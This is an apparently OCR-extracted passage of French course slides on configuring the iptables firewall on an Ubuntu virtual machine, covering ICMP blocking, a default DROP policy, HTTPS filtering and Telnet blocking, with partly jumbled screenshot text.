Envoi d'une requête 'Ping' 192.168.0.162 avec 32 octets de données : Réponse de 192.168.0.162 : octets=32 temps<1ms TTL=64 Réponse de 192.168.0.162 : octets=32 temps<1ms TTL=64 Réponse de 192.168.0.162 : octets=32 temps<1ms TTL=64 Réponse de 192.168.0.162 : octets=32 temps<1ms TTL=64

```
Statistiques Ping pour 192.168.0.162:
Paquets : envoyés = 4, reçus = 4, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
Minimum = 0ms, Maximum = 0ms, Moyenne = 0ms
```



- La règle permettant de bloquer la réception des écho-requests du protocole ICMP est obtenue suite à l'exécution de la commande suivante : sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
- L'exécution de la commande précédente ainsi que la règle ajoutée dans iptables sont illustrées dans la figure ci-contre.

- Pour tester la nouvelle règle configurée dans iptables, il suffit d'exécuter la commande ping 192.168.0.162 depuis l'invite de commande de la machine hôte
- Le résultat illustré dans la figure ci-contre démontre que la machine Ubuntu n'a pas répondu aux écho-request reçus et cela est du au fait que iptables a bloquer la réception de ce type de requêtes.

osboxes@ o-reques [sudo] pa osboxes@	osboxes:~\$ sudo iptables t -j DROP assword for osboxes: osboxes:~\$ sudo iptables	-A INPUT -p icmpicmp-ty -L	pe ech
Chain IN target	prot opt source	destination	
DROP p echo-r	icmp anywhere equest	anywhere	icm
Chain FO target	RWARD (policy ACCEPT) prot opt source	destination	
Chain OU target	TPUT (policy ACCEPT) prot opt source	destination	
C:\Users\	HP>ping 192.168.0.162		
Envoi d'u Délai d'a Délai d'a Délai d'a Délai d'a	ne requête 'Ping' 192.168.0 ttente de la demande dépasso ttente de la demande dépasso ttente de la demande dépasso ttente de la demande dépasso	0.162 avec 32 octets de donné é. é. é. é.	ées :
Statistiq Paque	ues Ping pour 192.168.0.162 ts : envoyés = 4, reçus = 0	: , perdus = 4 (perte 100%),	

61



 Le résultat de la commande ping <u>www.google.com</u> exécutée depuis le terminal de la machine virtuelle est illustré dans la figure ci-contre. Ce résultat démontre que la machine virtuelle a pu envoyer des requêtes ICMP de type echo-request est que le serveur du site web <u>www.google.com</u> a répondu à ces requêtes.

- La règle permettant de bloquer l'envoie des écho-requests du protocole ICMP est obtenue suite à l'exécution de la commande suivante : sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP.
- L'exécution de la commande précédente ainsi que la nouvelle configuration de iptables (qui inclue la nouvelle règle) sont illustrées dans la figure ci-contre
- Le résultat de la commande ping <u>www.google.com</u> exécutée après avoir effectuée la nouvelle configuration de iptables est illustré également dans la figure ci-contre. Ce résultat démontre que la machine virtuelle n'a pas pu envoyer des requêtes ICMP de type echo-request au serveur du site web <u>www.google.com</u>

osboxes@osboxes:~\$ ping www.google.com	
PING www.google.com (172.217.21.4) 56(84) bytes of data.
64 bytes from fra07s29-in-f4.1e100.net (172.217.21.4): icmp_seq=1
ttl=112 time=58.1 ms	
64 bytes from mrs09s10-in-f4.1e100.net (172.217.21.4): icmp seq=2
ttl=112 time=57.4 ms	· ·_ ·
64 bytes from muclls13-in-f4.1e100.net (172.217.21.4): icmp seg=3
ttl=112 time=60.3 ms	
64 bytes from mrs09s10-in-f4.1e100.net (172.217.21.4): icmp seg=4
ttl=112 time=58.3 ms	
^C	
www.google.com ping statistics	
A nackets transmitted A received A% na	cket loss time 3005ms
rtt min/avg/max/mdev = 57 439/58 546/60	274/1 051 mc
1 cc min/ avg/ max/ maev = 57.455/50.540/00.	2/4/1:031 113
osboxes@osboxes:~\$ sudo iptables -A OUTP	UT -p icmpicmp-type ec
ho-request -j DROP	
<pre>osboxes@osboxes:~\$ sudo iptables -L</pre>	
Chain INPUT (policy ACCEPT)	
target prot opt source	destination
DROP icmp anywhere	anvwhere icm
p echo-request	2011
p conv request	
Chain EORWARD (nolicy ACCEPT)	
target prot ont source	destination
cargee proclope source	destination
Chain OUTPUT (policy ACCEPT)	
target prot opt cource	dectination
	anyuhara icm
DROP IChip anywhere	anywhere IChi
p echoraclashavası ¢ pipa utu aseala sam	
DTNC Link google com (172 217 21 4) E6(24) bytes of data
PING www.google.com (1/2.21/.21.4) 56(84) bytes of data.
L	
www.google.com ping statistics	nation time offere



• Afin d'enregistrer la configuration du pare-feu iptables, il suffit d'exécuter la commande iptables-save > /etc/iptables.rules en mode super utilisateur.

osboxes@osboxes:~\$ sudo su
root@osboxes:/home/osboxes# iptables-save > /etc/iptables.rules

• Pour supprimer les règles configurées au sein de iptables, il suffit de taper la commande : sudo iptables -F

<pre>osboxes@osboxes:~\$ sudo iptables -F osboxes@osboxes:~\$ sudo iptables -L Chain INPUT (policy ACCEPT)</pre>	
target prot opt source	destination
Chain FORWARD (policy ACCEPT) target prot opt source	destination
Chain OUTPUT (policy ACCEPT) target prot opt_source	destination



ACTIVITÉ 2

CONFIGURER IPTABLES EN UTILISANT UNE STRATÉGIE PAR DÉFAUT DROP

Compétences visées :

• Effectuer une configuration avancée d'un pare-feu (IPTABLES)

Recommandations clés :

• Maitriser le principe du fonctionnement d'un pare-feu logiciel





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable de configurer iptables en partant de la stratégie de sécurité définie dans un énoncé.

2. Pour l'apprenant

- Il est recommandée de maitriser le principe du fonctionnement d'un pare-feu
- Il faut utiliser le syntaxe des commandes fournie au début de l'activité précédente
- Il est également recommandé de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
- Réalisation de l'activité précédente avec succès.

4. Critères de réussite :

- Avoir un pare-feu configuré selon la stratégie de sécurité définie dans l'énoncé
- Réaliser avec succès les tests de vérification demandés dans l'énoncé

Activité 2 Configurer iptables en utilisant une stratégie par défaut DROP



Étape 1 : Préparation de l'environnement de travail

- L'objectif principal de cette étape est de préparer l'environnement dans lequel l'activité sera réalisée.
- La préparation de l'environnement de travail consiste essentiellement à installer des outils qui nous servirons pour tester l'efficacité des règles configurées au sein du pare-feu iptables
- Les outils à installer sont principalement :
 - Dans la machine hôte : le client Telnet dans la machine hôte
 - Dans la machine virtuelle Ubuntu :
 - 1. Le serveur Telnet
 - 2. Netstat
 - 3. Serveur ssh
 - 4. Lynx
- Travail demandé : vous êtes chargés dans cette étape de préparer l'environnement de travail en installant les outils cités précédemment.

Activité 2 Configurer iptables en utilisant une stratégie par défaut DROP



Étape 2 : Configuration du pare-feu iptables

- Après avoir préparé l'environnement de travail, l'objectif principal de cette activité est d'implémenter une stratégie de sécurité dans le pare-feu iptables en partant d'une stratégie par défaut **DROP**.
- La stratégie de sécurité à implémenter est la suivante :
 - A. La machine Ubuntu doit être capable d'envoyer des paquet ICMP de type **echo-request** et de recevoir des paquets ICMP de type **echo-reply** (un tel message doit être journalisé, tout en laissant iptables préfixer les messages de journal avec la chaîne **"echo reply received"**);
 - B. La machine Ubuntu doit être capable de générer des messages ICMP "destination-unreachable" ;
 - C. La machine virtuelle peut se connecter à des serveurs Web à l'aide de connexions HTTP sécurisées, à l'exception du site web<u>www.facebook.com</u>.
 - Utilisez la commande nslookup www.facebook.com pour déterminer l'adresse IP du site Web
 - D. Toutes les connexions TCP de l'hôte principal vers la machine Ubuntu sont possibles, à l'exception des connexions Telnet.
- Travail demandé : Vous êtes chargées de :
 - 1. Changer la politique par défaut de iptables à DROP ;
 - 2. Implémenter la stratégie définie ci-dessus ;
 - 3. Effectuer des tests de vérification pour vérifier l'efficacité de la configuration effectuée ;
 - 4. Enregistrer la configuration effectuée ;
 - 5. Supprimer la configuration effectuée.



Étape 1 : Préparation de l'environnement de travail

- Pour installer le client Telnet dans la machine hôte (qui est une machine Windows), il suffit de suivre les étapes suivantes :
 - 1. Accédez à Programmes et fonctionnalités et sélectionnez Activer ou désactiver des fonctionnalités Windows.

 Programmes et fonctionnalités

 <u>Désinstaller un programme</u>

 Que activer ou désactiver des fonctionnalités Windows

 Afficher les mises à jour installées

 Exécuter des programmes conçus pour des versions précédentes de Windows

 Comment installer un programme

- 1. Une fenêtre intitulé Fonctionnalités de Windows s'affiche, sélectionnez alors Client Telnet.
- 2. Cliquez ensuite sur OK.

💽 Fonct	ionnalités de Windows	-		×
Activer	ou désactiver des fonctionnali	tés Win	dows	?
Pour acti Pour dés correspo fonction	ver une fonctionnalité, activez la case à c activer une fonctionnalité, désactivez la c ndante. Une case à cocher pleine signifie nalité est activée.	cocher coi case à coc qu'une p	rrespondar her artie de la	nte.
	.NET Framework 3.5 (inclut .NET 2.0 et 3	3.0)		^
• •	.NET Framework 4.8 Advanced Services			
	Bac à sable Windows			
	Client Dossiers de travail			
	Client Telnet			
	Client TFTP			
± 🗌	Composants hérités			
	Conteneurs			
	Data Center Bridging			~
<				>
		ОК	Annul	er



Étape 1 : Préparation de l'environnement de travail

Pour installer le serveur Telnet dans la machine virtuelle Ubuntu, il suffit de suivre les étapes suivantes :

1. Installez les services xinetd et telnetd en exécutant la commande suivante : sudo apt-get install xinetd telnetd

2.	Créez ensuite le fichier /etc/xinetd.d/telnet en utilisant la commande
suc	lo nano /etc/xinetd.d/telnet

3. Ajoutez dans ce fichier les lignes suivantes : **service telnet**

disable = no flags = REUSE socket_type = stream wait = no user = root server = /usr/sbin/in.telnetd log_on_failure += USERID

osboxes@osboxes:~\$ sudo apt-get install xinetd telnetd
Reading package lists Done
Building dependency tree Done
Reading state information Done
The following NEW packages will be installed: telnetd xinetd
0 upgraded, 2 newly installed, 0 to remove and 180 not upgraded. Need to get 147 kB of archives.
After this operation, 428 kB of additional disk space will be used. Get:1 http://us.archive.ubuntu.com/ubuntu impish/universe amd64 xinetd amd64 1: 2.3.15.3-1 [108 kB]
Get:2 http://us.archive.ubuntu.com/ubuntu impish/universe amd64 telnetd amd64 0 .17-42 [39.1 kB]
Fetched 147 KB in 65 (24.0 KB/S)
Selecting previously unselected package xinetd. (Reading database 147586 files and directories currently installed.) Preparing to unpack/xinetd_1%3a2.3.15.3-1_amd64.deb
GNU nano 5.6.1 /etc/xinetd.d/telnet service telnet (

disable = no flags = REUSE socket_type = stream wait = no user = root server = /usr/sbin/in.telnetd log_on_failure += USERID

Activité 2 Configurer iptables en utilisant une stratégie par défaut DROP



Étape 1 : Préparation de l'environnement de travail

4. Redémarrez ensuite le service xinetd en tapant la commande : sudo systemctl restart xinetd.service

osboxes@osboxes:-\$ sudo nano /etc/xinetd.d/telnet
osboxes@osboxes:-\$ sudo systemctl restart xinetd.service

5. Testez le bon fonctionnement du serveur Telnet installé, en essayant de vous connecter en utilisant **Telnet** depuis la machine hôte vers la machine virtuelle Ubuntu. Cela est possible en tapant dans l'invite de commande Windows la commande **Telnet @IP** où @IP représente l'adresse IP de la machine virtuelle Ubuntu (**192.168.0.162**)

C:\Users\HP>telnet 192.168.0.162

Ubuntu 21.10	
osboxes login: osb	poxes
Password:	
Welcome to Ubuntu	21.10 (GNU/Linux 5.13.0-35-generic x86_64)
* Documentation:	https://help.ubuntu.com
* Management:	https://landscape.canonical.com
* Support:	https://ubuntu.com/advantage
The programs inclu the exact distribu	ided with the Ubuntu system are free software; ition terms for each program are described in the
individual files i	n /usr/share/doc/*/copyright.
Ubuntu comes with applicable law.	ABSOLUTELY NO WARRANTY, to the extent permitted by



Étape 1 : Préparation de l'environnement de travail

• Pour installer Netstat, il suffit de taper la commande suivante : sudo apt install net-tools

osboxes@osboxes:~\$ sudo apt install net-tools Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: net-tools 0 upgraded, 1 newly installed, 0 to remove and 180 not upgraded. Need to get 193 kB of archives. After this operation, 860 kB of additional disk space will be used. Get:1 http://us.archive.ubuntu.com/ubuntu impish/main amd64 net-tools amd64 1.6 0+git20181103.0eebece-1ubuntu2 [193 kB] Fetched 193 kB in 2s (119 kB/s) Selecting previously unselected package net-tools. (Reading database ... 147634 files and directories currently installed.) Preparing to unpack .../net-tools 1.60+git20181103.0eebece-1ubuntu2 amd64.deb . Unpacking net-tools (1.60+git20181103.0eebece-1ubuntu2) ... Setting up net-tools (1.60+git20181103.0eebece-1ubuntu2) ... Processing triggers for man-db (2.9.4-2) ... Progress: [80%]

- Pour tester le bon fonctionnement du netstat, il suffit de taper la commande : sudo netstat
- Pour vérifier que le service Telnet est actif sur le port 23, il suffit de taper la commande : sudo netstat -tan

osboxes(gosboxes	: \$ sudo netstat -1	tan	
Active 1	Internet	connections (serve	ers and established)	
Proto Re	ecv-Q Se	nd-Q Local Address	Foreign Address	State
tcp	Θ	0 127.0.0.53:53	0.0.0.0:*	LISTEN
tcp	0	0 127.0.0.1:631	0.0.0:*	LISTEN
tcpő	0	0 :::23	:::*	LISTEN
tcpó	0	0 ::1:631	:::*	LISTEN

71

PARTIE



Étape 1 : Préparation de l'environnement de travail

• Pour installer le serveur ssh, il suffit de taper la commande suivante : sudo apt install openssh-server

osboxes@osboxes:-\$ sudo apt install openssh-server Reading package lists... Done Building dependency tree... Done Reading state information... Done The following additional packages will be installed: ncurses-term openssh-client openssh-sftp-server ssh-import-id Suggested packages: keychain libpam-ssh monkeysphere ssh-askpass molly-guard The following NEW packages will be installed: ncurses-term openssh-server openssh-sftp-server ssh-import-id The following packages will be upgraded: onencth_client

• Pour tester le bon fonctionnement du serveur SSH installé, il suffit d'essayer de se connecter en utilisant SSH depuis la machine hôte vers la machine virtuelle Ubuntu. Cela est possible en utilisant l'outil Putty.

E Session	Basic options for your PuT	TY secolori
Lapping Terninal Kayboard Kayboard Kayboard Kayboard Kayboard Kayboard Kayboard Kayboard Kayboard Selecton Selecton Coloure Coloure Coloure Coloure Coloure Coloure Pray Teinet Hegin	Specify the destination you want to Hist. Name (pr. IP address) 152, 168,0, 163) Connection type: O Rum O Tohnst O Rioger @ Load, save or debte a stored sessio Saved Sessions Default Settings	econnect to Post 22 BISSH O Sum n Load Save Delete
L Serial	Dose window on ext: O Always O Never @ Only	von dem ext




Étape 1 : Préparation de l'environnement de travail

• Pour installer Lynx, il suffit de taper la commande suivante : sudo apt install Lynx.

- Pour tester Lynx, il suffit de taper la commande : sudo lynx www.google.com.
- Le résultat obtenu démontre que lynx a été bien installé puisqu'il a pu afficher l'interface <u>www.google.com</u>







- Pour changer la politique par défaut de iptables à DROP, il suffit de taper les commandes suivantes :
 - sudo iptables -P INPUT DROP
 - sudo iptables -P OUTPUT DROP
 - sudo iptables -P FORWARD DROP
- Pour vérifier le changement de la stratégie par défaut de ACCEPT à DROP, il suffit d'exécuter la commande : sudo iptable –L
- La figure ci-contre illustre les résultats d'exécution des commandes précédentes.

<pre>osboxes@osboxes:~\$ sudo iptables</pre>	-L
Chain INPUT (policy ACCEPT)	
target prot opt source	destination
Chain FORWARD (policy ACCEPT)	
target prot opt source	destination
Chain OUTPUT (policy ACCEPT)	
target prot opt source	destination
<pre>osboxes@osboxes:~\$ sudo iptables</pre>	-P INPUT DROP
<pre>osboxes@osboxes:~\$ sudo iptables</pre>	-P FORWARD DROP
<pre>osboxes@osboxes:-\$ sudo iptables</pre>	-P OUTPUT DROP
<pre>osboxes@osboxes:-\$ sudo iptables</pre>	-L
Chain INPUT (policy DROP)	
target prot opt source	destination
Chain FORWARD (policy DROP)	
target prot opt source	destination
Chain OUTPUT (policy DROP)	
target prot opt_source	destination



- La première condition (A) de la stratégie définie est la suivante :
 - A. La machine Ubuntu doit être capable d'envoyer des paquet ICMP de type **echo-request** et de recevoir des paquets ICMP de type **echo-reply** (un tel message doit être journalisé, tout en laissant iptables préfixer les messages de journal avec la chaîne **"echo reply received"**).
- Pour implémenter une telle condition, il suffit de taper les commandes suivantes dans l'ordre donné :
 - sudo iptables -A INPUT -p icmp --icmp-type echo-reply -j LOG --log-prefix "echo reply received "
 - > Cette ligne de commande permet de journaliser les requêtes ICMP de type echo-reply avec un préfix "echo reply received".
 - sudo iptables -A INPUT -p icmp -m state --state established -j ACCEPT
 - > Cette ligne de commande permet d'accepter les paquets ICMP faisant partie d'une connexion déjà établie.
 - sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
 - > Cette ligne de commande permet d'accepter la sortie des paquets ICMP de type echo-request.
 - La figure ci-dessous illustre l'exécution des commandes précédentes :

osboxes@osboxes:-\$ sudo iptables -A INPUT -p icmp --icmp-type echo-reply -j LOG --log-prefix "ec ho reply received" osboxes@osboxes:-\$ sudo iptables -A INPUT -p icmp -m state --state established -j ACCEPT osboxes@osboxes:-\$ sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT

2

PARTIE



- Pour vérifier l'efficacité de la configuration effectuée, il suffit de :
 - Lister les règles configurées dans le pare-feu ;
 - Tester un ping sortant de la machine Ubuntu vers n'importe quel adresse IP ;
 - Vérifier la journalisation des requêtes ICMP de type echo-reply avec le préfix défini "echo reply received« ;
- Les résultats illustrés dans les deux figures ci-dessous illustrent que la configuration effectuée répond exactement aux exigences demandées dans la stratégie de sécurité :

osboxes@osboxes:-\$ sudo iptables -L Chain INPUT (policy DROP)			osboxes@osboxes:-\$ sudo tail -f /var/log/syslog Mar 15 20:23:40 osboxes systemd[1]: Started Network Manager Script Dispatcher Service.
target prot opt source	destination	ing othe scale LOC level consists	Mar 15 20:23:40 osboxes whoopsie[761]: [20:23:40] Cannot reach: https://daisy.ubuntu.com
DG ICMP anywhere	anywnere	icmp echo-reply LOG level warning	Mar 15 20:23:49 osboxes systemd[1]: NetworkManager-dispatcher.service: Deactivated successfully.
ACCEPT icmp anywhere	anywhere	state ESTABLISHED	+EDNSA) for DNS server 192.168.4.1.
			Mar 15 28:25:41 osboxes kernel: [779.608735] echo reply received IN=enp0s3 OUT= MAC=08:00:27:36
Chain FORWARD (policy DROP)	d		:85:0b:d8:d8:66:41:b5:f5:08:00 SRC=192.168.0.1 DST=192.168.0.162 LEN=84 TOS=0x00 PREC=0x00 TTL=6
target prot opt source	destination		4 ID=21835 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=1
Chain OUTPUT (policy DROP)			Mar 15 20:25:42 osboxes kernel: [780.517659] echo reply receivedIN=enp0s3 OUT= MAC=08:00:27:36
target prot opt source	destination		:85:00:08:08:00:41:D5:T5:08:00 SRC=192.108.0.1 D5T=192.108.0.102 LEN=84 105=0x00 PREC=0x00 TL=0
ACCEPT icmp anywhere	anywhere	icmp echo-request	Mar 15 20:25:43 ochoves kernel: [781 518720] echo renly receivedTN=enn0s3 OUT= MAC=08:00:27:36
osboxes@osboxes:-\$ sudo ping 192.168.0.	1		:85:00:d8:d8:66:41:b5:f5:08:00 SRC=192.168.0.1 DST=192.168.0.162 LEN=84 T0S=0x00 TTL=6
PING 192.168.0.1 (192.168.0.1) 56(84) D	ytes of data.		4 ID=21837 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=3
64 bytes from 192.168.0.1: icmp seq=1 t	tl=64 time=3.61 ms		Mar 15 20:25:44 osboxes kernel: [782.520995] echo reply received[N=enp0s3 OUT= MAC=08:00:27:36
64 bytes from 192.168.0.1: icmp seq=3 t	tl=64 time=3.44 ms		:85:0b:d8:d8:66:41:b5:f5:08:00 SRC=192.168.0.1 DST=192.168.0.162 LEN=84 TOS=0x00 PREC=0x00 TTL=6
64 bytes from 192.168.0.1: icmp_seq=4 t	tl=64 time=4.02 ms		4 ID=21838 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=4
64 bytes from 192.168.0.1: icmp_seq=5 t	tl=64 time=5.46 ms		Mar 15 20:25:45 osboxes kernel: [783.523846] echo reply receivedIN=enp0s3 0UT= MAC=00:00:27:36
64 bytes from 192.168.0.1: icmp_seq=6 t	tl=64 time=5.26 ms		30:00:08:08:00:41:D0:T0:08:00 SKC=192.108.0.1 DST=192.108.0.102 LEN=84 T05=0X00 PKEC=0X00 TTL=0
192 168 0 1 pipe statistics			Mar 15 20:25:46 osboxes kernel: [784.525929] echo renly receivedIN=enn0s3 OUT= MAC=08:00:27:36
6 packets transmitted, 6 received. 0% p	acket loss, time 5009r	n5	:85:0b:d8:d8:66:41:b5:f5:08:00 SRC=192.168.0.1 DST=192.168.0.162 LEN=84 TOS=0x00 PREC=0x00 TTL=6
rtt min/avg/max/mdev = 3.443/19.737/96.	634/34.397 ms		4 ID=21840 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=6



- La deuxième condition (B) de la stratégie définie est la suivante :
 - B. La machine Ubuntu doit être capable de générer des messages ICMP "destination-unreachable"
- Pour implémenter une telle condition, il suffit de taper la commande suivante : sudo iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
- La figure ci-dessous illustre le résultat de l'exécution de la commande précédente :

<pre>osboxes@osboxes:~\$ sudo iptables -A osboxes@osboxes:~\$ sudo iptables -L</pre>	OUTPUT -p icmpicmp	-type destination-unreachable -j ACCEPT
Chain INPUT (policy DROP)		
target prot opt source	destination	
LOG icmp anywhere	anywhere	icmp echo-reply LOG level warning
prefix "echo reply received"		
ACCEPT icmp anywhere	anywhere	state ESTABLISHED
Chain FORWARD (policy DROP) target prot opt source	destination	
Chain OUTPUT (policy DROP)		
target prot opt source	destination	
ACCEPT icmp anywhere	anywhere	icmp echo-request
ACCEPT icmp anywhere	anywhere	icmp destination-unreachable



- La troisième condition (C) de la stratégie définie est la suivante :
 - C. La machine virtuelle peut se connecter à des serveurs Web à l'aide de connexions HTTP sécurisées, à l'exception du site web www.facebook.com.
- Pour identifier l'adresse IP du site web <u>www.facebook.com</u>, il suffit de taper la commande : nslookup <u>www.facebook.com</u>.



- Pour implémenter la condition (C), il suffit de taper les commandes suivantes dans l'ordre donné :
 - sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
 - sudo iptables -A OUTPUT -p udp -j ACCEPT
 - sudo iptables -A OUTPUT -d 31.13.69.35 -p tcp --dport 443 -j DROP
 - sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
 - sudo iptables -A INPUT -p tcp -m state --state established -j ACCEPT
 - sudo iptables A INPUT p udp j ACCEPT



Les figures ci-dessous illustrent l'exécution des c	ommandes précédentes et la con	figuration obtenue du pare-feu iptak	bles :

<pre>osboxes@osboxes:~\$ sudo iptables -A OU osboxes@osboxes:-\$ sudo iptables -A OU osboxes@osboxes:-\$ sudo iptables -A OU</pre>	TPUT -p tcpdport 80 TPUT -p udp -j ACCEPT TPUT -d 31.13.69.35 -p	-j ACCEPT tcpdport 443 -j	<pre>osboxes@osboxes:~\$ sudo iptables -L Chain INPUT (policy DROP) target prot opt source</pre>	destination	
DROP osboxes@osboxes:~\$ sudo iptables -A OU osboxes@osboxes:~\$ sudo iptables -L	TPUT -p tcpdport 44	3 -j ACCEPT	LOG icmp anywhere a G level warning prefix "echo reply receive	anywhere i ed"	cmp echo-reply LO
Chain INPUT (policy DROP) target prot opt source	destination		ACCEPT icmp anywhere	anywhere s	tate ESTABLISHED
LOG icmp anywhere G level warning prefix "echo reply rec	anywhere eived"	icmp echo-reply LO	ACCEPT tcp anywhere a	anywhere s	tate ESTABLISHED
ACCEPT icmp anywhere	anywhere	state ESTABLISHED	Chain FORWARD (policy DROP)		
Chain FORWARD (policy DROP) target prot opt source	destination		target prot opt source (destination	
Chain OUTPUT (policy DROP)			Chain OUTPUT (policy DROP)	doctination	
target protopt source ACCEPT icmp anywhere	destination anywhere	icmp_echo-request	ACCEPT icmp anywhere a	anywhere i	cmp echo-request
ACCEPT icmp anywhere	anywhere	icmp destination-u	ACCEPT icmp anywhere a	anywhere i	cmp destination-u
ACCEPT tcp anywhere ACCEPT udp anywhere	anywhere anywhere	tcp dpt:http	ACCEPT tcp anywhere a	anywhere t	cp dpt:http
achavac@achavacı_¢ cuda intak			DROP tcp anywhere	edge-star-mini-shv-01-	pmol.facebook.com
			ACCEPT tcp anywhere a	anywhere t	cp dpt:https
<pre>osboxes@osboxes:~\$ sudo iptables -A I j ACCEPT</pre>	NPUT -p tcp -m states	state established -			

PARTIE 2



- Pour vérifier l'efficacité de la configuration effectuée, il suffit d'ouvrir n'importe quel site web (à l'exception du site web <u>www.facebook.com</u>) en utilisant l'outil lynx
- La figure ci-dessous illustre le résultat de l'exécution de la commande sudo lynx <u>www.google.com</u>. Le résultat illustré montre qu'il est possible d'avoir accès au site lynx <u>www.google.com</u> depuis la machine Ubuntu

Æ	osboxes@osboxes: ~	Q			⊗
<mark>ط</mark> ل	ترجمة المزيد Gmail Drive الأخبار Google YouTube بحد <mark>خرائ</mark> سِجل بحث الويب الإعدادات تسجيل الدخو	نقويم		Goo	gle
G	oogle				
	ضربة حظ بحث متقدم Google بح				
يت	محرّك بح Google محرّك بح				
ىن	Google هنا Google حلول الشركات كل ما تحب معرفته ع	e.tn			
	الخصوصية - البنود - 2022 ©				



- La dernière condition (D) de la stratégie définie est la suivante :
 - D. Toutes les connexions TCP de l'hôte principal vers la machine Ubuntu sont possibles, à l'exception des connexions Telnet.
- Pour implémenter une telle condition, il suffit de taper les commandes suivantes dans l'ordre donné :
 - sudo iptables -A INPUT -p tcp --dport 23 -j DROP
 - > Cette ligne de commande permet d'empêcher toute connexion Telnet (sur le port 23) vers la machine Ubuntu.
 - sudo iptables -A INPUT -p tcp -j ACCEPT
 - > Cette ligne de commande permet d'accepter toute connexion TCP vers la machine Ubuntu.
 - sudo iptables -A OUTPUT -p tcp -m state --state established -j ACCEPT
 - Cette ligne de commande permet d'accepter les paquets TCP faisant partie d'une connexion déjà établie. Cette ligne est essentielle puisqu'elle donne la possibilité à la machine Ubuntu de répondre aux requêtes TCP faisant partie d'une connexion établie.



Les figures ci-dessous illustrent l'exécution des commandes précédentes et la configuration obtenue du pare-feu iptables

osboxes@osboxes:-\$ sudo iptables -A INPU	JT -p tcpdport 23 -	j DROP	osboxes@o -i ACCEPT	sboxes:~\$ s	udo iptables -A OUT	PUT -p tcp -m state -	-state established
oshoves@oshoves:~\$ sudo intables -	i -p ccp -j Acceri		osboxes@o	sboxes:-s s	udo iptables -L		
Chain INPUT (policy DPOP)			Chain INP	UT (policy	DROP)		
target prot opt cource	dectination		target	prot opt	source	destination	
LOG icmp spisiboro	anywhere	icmp ocho poply 10	106	icmp	anywhere	anywhere	icmp_echo-reply_LO
C lovel warning prefix "acha reply recei	anywhere wed!	Temp echo-repty Lo	G level w	arning pref	ix "echo renly recei	ved"	Temb cene rebel Te
ACCEPT icmp anywhere	anuhara	STATE ESTABLISHED	ACCEPT	icmp	anywhere	anywhere	state ESTABLISHED
ACCEPT ICHIP anywhere	anywhere	State ESTABLISHED	ACCEPT	udn	anywhere	anywhere	State ESTABLISHED
ACCEPT up anywhere	anywhere	atata ECTABLICHED	ACCEPT	tcn	anywhere	anywhere	state ESTABLISHED
ACCEPT CCP anywhere	anywhere	State ESTABLISHED	DROP	tcn	anywhere	anywhere	tcn dnt:telnet
DRUP tcp anywnere	anywnere	tcp apt:teinet	ACCEPT	tcp	anywhere	anywhere	tep aperceenee
ACCEPT CCP anywhere	anywnere		ACCELL	cep	unymiere	unymere	
Chain CODWARD (maliew DRAD)			Chain FOR	WARD (polic	V DROP)		
Chain FURWARD (policy DRUP)	4+		target	nrot ont	source	destination	
target prot opt source	destination		cargee	proc opc	source	destination	
			Chain OUT	PUT (nolicy			
Chain OUPUT (policy DROP)	4		target	nrot ont	source	destination	
target prot opt source	destination	tions asks manual	ACCEPT	icmp	anywhere	anywhere	icmp_echo_request
ACCEPT 1cmp anywhere	anywnere	1cmp ecno-request	ACCEPT	icmp	anywhere	anywhere	icmp destination-u
ACCEPT 1cmp anywhere	anywnere	icmp destination-u	nreachabl	P TCmp	anywhere	anywhere	icmp descination-d
nreachable			ACCEPT	ton	anywhere	anvuhere	tcp_dpt:http
ACCEPT tcp anywhere	anywhere	tcp dpt:http	ACCEPT	udp	anywhere	anywhere	cep upc.neep
ACCEPT udp anywhere	anywhere		DDOD	tcp	anywhere	edge_star_mini_shy_0	1-pmol facebook com
DROP tcp anywhere	edge-star-mini-shv-0	1-pmol.facebook.com	ton dot	whttp:	anywhere	euge-star-mini-snv-o	1-pmol. Tacebook.com
tcp dpt:https				top	anywhore	anyuhara	top dot https
ACCEPT tcpanywhere	anywhere	tcp dpt:https	ACCEPT	tep	anywhere	anywhere	
osboxes@osboxes:~\$			ACCEPT	τερ	anywnere	anywhere	STATE ESTABLISHED



- Pour vérifier l'efficacité de la configuration effectuée, il suffit de :
 - Tester d'établir une connexion SSH avec la machine Ubuntu. Les figures ci-dessous démontrent qu'il est possible d'établir une connexion SSH.

RuTTY Configuration	×	💣 osboxes@osboxes: ~	_	X
Lategory: Session Logging Terminal Keyboard	Basic options for your PuTTY session Specify the destination you want to connect to Host Name (or IP address) Port [192.168.0.162] 22	login as: osboxes osboxes@192.168.0.162's password: Welcome to Ubuntu 21.10 (GNU/Linux 5.13.0-35-generic x86_64)		
	Connection type: Raw Telnet Rlogin SSH Serial Load, save or delete a stored session Saved Sessions Default Settings Load Save Delete	<pre>* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 58 updates can be applied immediately. To see these additional updates run: apt listupgradable Last login: Wed Mar 16 10:10:31 2022 from 192.168.0.98 osboxes@osboxes:~\$</pre>		
About	Close window on exit: Always Never Only on clean exit Open Cancel			

• Essayez d'établir une connexion Telnet avec la machine Ubuntu. La figure ci-dessous démontre qu'il est impossible d'établir une connexion Telnet :

C:\Users\HP>telnet 192.168.0.162 Connexion à 192.168.0.162...Impossible d'ouvrir une connexion à l'hôte, sur le port 23: Échec lors de la connexion



ACTIVITÉ 3 SÉCURISER LES SYSTÈMES LINUX

Compétences visées :

• Appliquer les bonnes pratiques et la configuration des outils nécessaires pour sécuriser un système d'exploitation

Recommandations clés :

 Maitriser les bonnes pratiques de sécurisation d'un système d'exploitation Linux





CONSIGNES

1. Pour le formateur

